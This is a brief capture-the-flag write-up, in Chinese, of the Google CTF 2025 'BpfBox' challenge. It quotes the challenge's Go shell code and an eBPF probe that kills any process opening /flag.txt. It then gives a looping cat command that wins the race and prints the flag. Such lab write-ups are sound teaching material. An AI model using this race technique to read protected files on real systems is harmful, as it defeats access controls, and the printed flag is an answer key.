Google CTF 2025
BpfBox
func spawnShell(ctx context.Context) error {
withTimeout, cancel := context.WithTimeout(ctx, time.Minute)
defer cancel()
cmd := exec.CommandContext(withTimeout, "/bin/sh")
cmd.SysProcAttr = &syscall.SysProcAttr{
Credential: &syscall.Credential{Uid: 99999, Gid: 99999},
Setpgid: true,
Pdeathsig: syscall.SIGKILL,
}
cmd.Stdout = os.Stdout
cmd.Stdin = os.Stdin
cmd.Stderr = os.Stderr
if err := cmd.Start(); err != nil {
return err
}
if err := cmd.Wait(); err != nil {
fmt.Println("command failed:", err)
}
return nil
}
程序给了一个低权限shell(Uid: 99999, Gid: 99999)
func getProbeParams(filename string) (uint64, uint64, error) {
info, err := os.Stat("/flag.txt")
if err != nil {
return 0, 0, err
}
stat, ok := info.Sys().(*syscall.Stat_t)
if !ok {
return 0, 0, fmt.Errorf("expected Stat_t, but was: %s", info.Sys())
}
return stat.Dev, stat.Ino, nil
}
获取了flag文件的设备号和inode号,以标识flag文件
fentry:vmlinux:security_file_open {
$inode = args->file->f_inode;
$d = $inode->i_sb->s_dev;
$i = $inode->i_ino;
if ($d == $1 && $i == $2) {
signal(KILL);
}
}
检测到读取flag.txt就立刻发送KILL信号
所以说,程序利用探针检测读取flag.txt,并且关掉其进程
但是如果我一直读取呢,程序从检测到发送信号需要时间,只要一直竞争肯定能读取到
while true; do /bin/cat /flag.txt; done &
CTF{En0ugH_r4c3_c0nd1tIoNs_T0_H05t_O1yMp1c5}
许可协议:
CC BY 4.0